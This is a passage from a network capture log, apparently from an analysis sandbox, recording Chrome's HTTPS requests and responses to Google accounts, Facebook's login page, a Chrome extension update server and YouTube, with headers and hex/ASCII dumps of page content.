NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:34:34 UTC	929	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000; includeSubDomains Set-Cookie: __Host-GAPS=1:QyE7iTCWihLF9yntF_Idkb4F6DPILw:4U05FA7_GEJBAiKG;Path=/;Expires=Fri, 16-Jan-2026 23:34:34 GMT;Secure;HttpOnly;Priority=HIGH X-Frame-Options: DENY Content-Security-Policy: script-src 'report-sample' 'nonce-9u3GZ_wRtyxZI_6hclVMdw' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreport Location: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F Content-Length: 338 Date: Wed, 17 Jan 2024 23:34:34 GMT Expires: Wed, 17 Jan 2024 23:34:34 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:34 UTC	338	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 53 65 72 76 69 63 65 4c 6f 67 69 6e 3f 70 61 73 73 69 76 65 3d 31 32 30 39 36 30 30 26 61 6d 70 3b 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 Data Ascii: <HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49710	157.240.241.35	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:34 UTC	664	OUT	GET /login HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:34 UTC	854	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Set-Cookie: fr=0BIGGuZwPUjIULfOD..BlqGQK.EX.AAA.0.0.BlqGQK.AWXxDbWyb4A; expires=Tue, 16-Apr-2024 23:34:34 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponly; SameSite=None Set-Cookie: sb=CmSoZXuzKcF1rAq_PIc_YoJb; expires=Thu, 20-Feb-2025 23:34:34 GMT; Max-Age=34560000; path=/; domain=.facebook.com; secure; httponly; SameSite=None reporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown" report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":3600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}],"group":"network-errors"} nel: {"report_to":"network-errors","max_age":3600,"failure_fraction":0.01}
2024-01-17 23:34:34 UTC	1692	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 2a 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google-analytics.com .google.com 127.0.0.1:* 'unsafe-inline' blob:
2024-01-17 23:34:34 UTC	1112	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 6d 62 69 65 6e 74 2d 6c 69 67 68 74 2d 73 65 6e 73 6f 72 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 64 69 73 70 6c 61 79 2d 63 61 70 74 75 72 65 3d 28 73 65 6c 66 29 2c 20 65 6e 63 72 79 70 74 65 64 2d 6d 65 64 69 61 3d 28 73 65 6c 66 29 2c 20 66 75 6c 6c 73 63 72 65 65 6e 3d 28 73 65 6c 66 29 2c 20 67 61 6d 65 70 61 64 3d 2a 2c 20 67 65 6f 6c 6f 63 61 74 69 6f 6e 3d 28 73 65 6c 66 29 2c 20 67 79 72 6f 73 63 6f 70 65 3d 28 29 2c 20 68 69 64 3d 28 29 2c 20 69 64 6c 65 2d 64 65 74 65 63 74 69 6f 6e 3d 28 29 2c 20 6b 65 79 62 6f 61 72 64 2d 6d 61 70 3d 28 29 2c 20 6c 6f 63 61 6c 2d 66 Data Ascii: permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(self), display-capture=(self), encrypted-media=(self), fullscreen=(self), gamepad=*, geolocation=(self), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-f
2024-01-17 23:34:34 UTC	842	IN	Data Raw: 64 35 66 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 39 34 35 74 54 74 72 76 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 Data Ascii: d5fa<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="945tTtrv">function envFlush(a){function b(b){for(var c in a)b[c]=a
2024-01-17 23:34:34 UTC	1500	IN	Data Raw: 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 34 35 74 54 74 72 76 22 3e 3c 2f 73 74 79 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 39 34 35 74 54 74 72 76 22 3e 5f 5f 44 45 56 5f 5f 3d 30 3b 3c 2f 73 63 72 69 70 74 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 20 55 52 4c 3d 2f 6c 6f 67 69 6e 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 6e 69 66 65 73 74 22 20 69 64 3d 22 4d 41 4e 49 46 45 53 54 5f 4c 49 4e 4b 22 20 68 72 65 66 3d 22 Data Ascii: (){throw new Error()}}b(a)})(this);</script><style nonce="945tTtrv"></style><script nonce="945tTtrv">__DEV__=0;</script><noscript><meta http-equiv="refresh" content="0; URL=/login?_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="
2024-01-17 23:34:34 UTC	1500	IN	Data Raw: 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 48 6c 78 39 68 38 6e 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 4a 2f 6c 2f 30 2c 63 72 6f 73 73 2f 6a 4c 59 70 68 33 61 51 6d 64 70 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 54 42 47 48 49 35 69 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 2f 3e 0a Data Ascii: g5Kz" data-bootloader-hash="Hlx9h8n" crossorigin="anonymous" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yJ/l/0,cross/jLYph3aQmdp.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="TBGHI5i" crossorigin="anonymous" />
2024-01-17 23:34:35 UTC	1500	IN	Data Raw: 43 6f 6d 65 74 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 36 31 30 38 22 2c 5b 22 43 53 53 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 43 53 53 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 33 38 35 22 2c 5b 22 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 57 57 57 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 57 57 57 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 33 38 39 22 2c 5b 22 73 65 74 49 6e 74 65 72 76 61 6c 41 63 72 6f 73 73 54 72 61 6e 73 69 74 69 6f 6e 73 57 57 57 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 73 65 74 49 6e 74 65 72 76 61 6c 41 63 72 6f 73 73 54 72 61 6e 73 69 74 69 6f 6e 73 57 57 57 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 33 39 31 22 2c 5b 22 73 65 74 54 69 6d 65 Data Ascii: Comet",null]},-1],["cr:6108",["CSS"],{"__rc":["CSS",null]},-1],["cr:7385",["clearIntervalWWW"],{"__rc":["clearIntervalWWW",null]},-1],["cr:7389",["setIntervalAcrossTransitionsWWW"],{"__rc":["setIntervalAcrossTransitionsWWW",null]},-1],["cr:7391",["setTime
2024-01-17 23:34:35 UTC	1500	IN	Data Raw: 44 41 54 45 5f 4e 41 4d 45 22 2c 22 49 43 5f 44 49 53 41 42 4c 45 5f 4d 45 52 47 45 5f 54 4f 4f 4c 5f 46 45 45 44 5f 43 48 45 43 4b 5f 46 4f 52 5f 52 45 50 4c 41 43 45 5f 53 43 48 45 44 55 4c 45 22 2c 22 41 44 53 5f 45 50 44 5f 49 4d 50 41 43 54 45 44 5f 41 44 56 45 52 54 49 53 45 52 5f 4d 49 47 52 41 54 45 5f 58 43 4f 4e 54 52 4f 4c 4c 45 52 22 2c 22 54 50 41 5f 53 52 54 5f 54 52 41 4e 53 4c 41 54 49 4f 4e 22 2c 22 57 4f 52 4b 52 4f 4f 4d 53 5f 52 45 51 55 45 53 54 5f 54 41 47 47 49 4e 47 5f 54 41 47 5f 4e 4f 5f 49 4e 49 54 5f 42 59 5f 56 43 5f 47 41 4c 41 58 59 22 5d 7d 2c 22 6b 6f 22 3a 7b 22 5f 5f 73 65 74 22 3a 5b 22 38 4e 41 63 65 45 79 39 4a 5a 6f 22 2c 22 34 6a 33 36 53 56 7a 76 50 33 77 22 2c 22 34 4e 53 71 33 5a 43 34 53 63 45 22 2c 22 35 33 67 Data Ascii: DATE_NAME","IC_DISABLE_MERGE_TOOL_FEED_CHECK_FOR_REPLACE_SCHEDULE","ADS_EPD_IMPACTED_ADVERTISER_MIGRATE_XCONTROLLER","TPA_SRT_TRANSLATION","WORKROOMS_REQUEST_TAGGING_TAG_NO_INIT_BY_VC_GALAXY"]},"ko":{"__set":["8NAceEy9JZo","4j36SVzvP3w","4NSq3ZC4ScE","53g
2024-01-17 23:34:35 UTC	1500	IN	Data Raw: 22 66 61 73 74 50 61 74 68 46 6f 72 41 6c 72 65 61 64 79 52 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 65 61 72 6c 79 52 65 71 75 69 72 65 4c 61 7a 79 22 3a 66 61 6c 73 65 2c 22 65 6e 61 62 6c 65 54 69 6d 65 6f 75 74 4c 6f 67 67 69 6e 67 46 6f 72 4e 6f 6e 43 6f 6d 65 74 22 3a 66 61 6c 73 65 2c 22 64 65 66 65 72 4c 6f 6e 67 54 61 69 6c 4d 61 6e 69 66 65 73 74 22 3a 74 72 75 65 2c 22 6c 61 7a 79 53 6f 54 22 3a 66 61 6c 73 65 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 65 74 72 69 65 73 22 3a 5b 32 30 30 2c 35 30 30 5d 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 65 74 72 79 41 62 6f 72 74 4e 75 6d 22 3a 33 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 65 74 72 79 41 62 6f 72 74 54 69 6d 65 22 3a 35 30 7d 2c 33 32 39 5d 2c 5b 22 43 53 53 4c 6f 61 64 65 72 43 6f 6e Data Ascii: "fastPathForAlreadyRequired":true,"earlyRequireLazy":false,"enableTimeoutLoggingForNonComet":false,"deferLongTailManifest":true,"lazySoT":false,"translationRetries":[200,500],"translationRetryAbortNum":3,"translationRetryAbortTime":50},329],["CSSLoaderCon
2024-01-17 23:34:35 UTC	1500	IN	Data Raw: 37 37 76 6f 79 64 55 22 7d 2c 33 32 33 5d 2c 5b 22 53 69 74 65 44 61 74 61 22 2c 5b 5d 2c 7b 22 73 65 72 76 65 72 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 31 30 38 37 30 30 39 31 2c 22 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 31 30 38 36 37 35 30 31 2c 22 74 69 65 72 22 3a 22 22 2c 22 70 75 73 68 5f 70 68 61 73 65 22 3a 22 43 33 22 2c 22 70 6b 67 5f 63 6f 68 6f 72 74 22 3a 22 42 50 3a 44 45 46 41 55 4c 54 22 2c 22 68 61 73 74 65 5f 73 65 73 73 69 6f 6e 22 3a 22 31 39 37 33 39 2e 42 50 3a 44 45 46 41 55 4c 54 2e 32 2e 30 2e 2e 30 2e 30 22 2c 22 70 72 22 3a 31 2c 22 68 61 73 74 65 5f 73 69 74 65 22 3a 22 77 77 77 22 2c 22 6d 61 6e 69 66 65 73 74 5f 62 61 73 65 5f 75 72 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 Data Ascii: 77voydU"},323],["SiteData",[],{"server_revision":1010870091,"client_revision":1010867501,"tier":"","push_phase":"C3","pkg_cohort":"BP:DEFAULT","haste_session":"19739.BP:DEFAULT.2.0..0.0","pr":1,"haste_site":"www","manifest_base_uri":"https:\/\/static.xx.f
2024-01-17 23:34:35 UTC	1500	IN	Data Raw: 69 6e 65 73 73 22 3a 66 61 6c 73 65 2c 22 73 68 6f 75 6c 64 48 69 64 65 43 6f 6d 70 6f 6e 65 6e 74 73 42 79 55 6e 73 75 70 70 6f 72 74 65 64 46 69 72 73 74 50 61 72 74 79 54 6f 6f 6c 73 22 3a 66 61 6c 73 65 2c 22 73 68 6f 75 6c 64 53 68 6f 77 41 63 63 6f 75 6e 74 53 77 69 74 63 68 43 6f 6d 70 6f 6e 65 6e 74 73 22 3a 66 61 6c 73 65 2c 22 69 73 55 73 65 72 4f 70 74 49 6e 41 63 63 6f 75 6e 74 53 77 69 74 63 68 49 6e 66 72 61 55 70 67 72 61 64 65 22 3a 66 61 6c 73 65 2c 22 62 75 73 69 6e 65 73 73 5f 70 72 6f 66 69 6c 65 5f 70 69 63 5f 75 72 6c 22 3a 6e 75 6c 6c 2c 22 65 6e 74 65 72 70 72 69 73 65 5f 70 72 6f 66 69 6c 65 5f 70 69 63 5f 75 72 6c 22 3a 6e 75 6c 6c 2c 22 69 73 54 77 6f 46 61 63 4e 65 77 46 6c 6f 77 22 3a 66 61 6c 73 65 2c 22 6c 61 73 74 5f 6e 61 Data Ascii: iness":false,"shouldHideComponentsByUnsupportedFirstPartyTools":false,"shouldShowAccountSwitchComponents":false,"isUserOptInAccountSwitchInfraUpgrade":false,"business_profile_pic_url":null,"enterprise_profile_pic_url":null,"isTwoFacNewFlow":false,"last_na

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49714	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:34 UTC	680	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:34:34 UTC	1	OUT	Data Raw: 20 Data Ascii:
2024-01-17 23:34:34 UTC	1627	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:34 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-TuG7NrlMGuGLsp75rclxag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:34:34 UTC	23	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2024-01-17 23:34:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49715	142.250.81.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:34 UTC	752	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.134&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-117.0.5938.134 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:35 UTC	732	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-aEyD1yCGQ9UG3D2ad0Ezlw' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:34 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 6225 X-Daystart: 56074 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:34:35 UTC	520	IN	Data Raw: 32 63 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 32 32 35 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 35 36 30 37 34 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 2c9<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6225" elapsed_seconds="56074"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2024-01-17 23:34:35 UTC	200	IN	Data Raw: 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a Data Ascii: 723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
2024-01-17 23:34:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49713	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:34 UTC	791	OUT	GET / HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
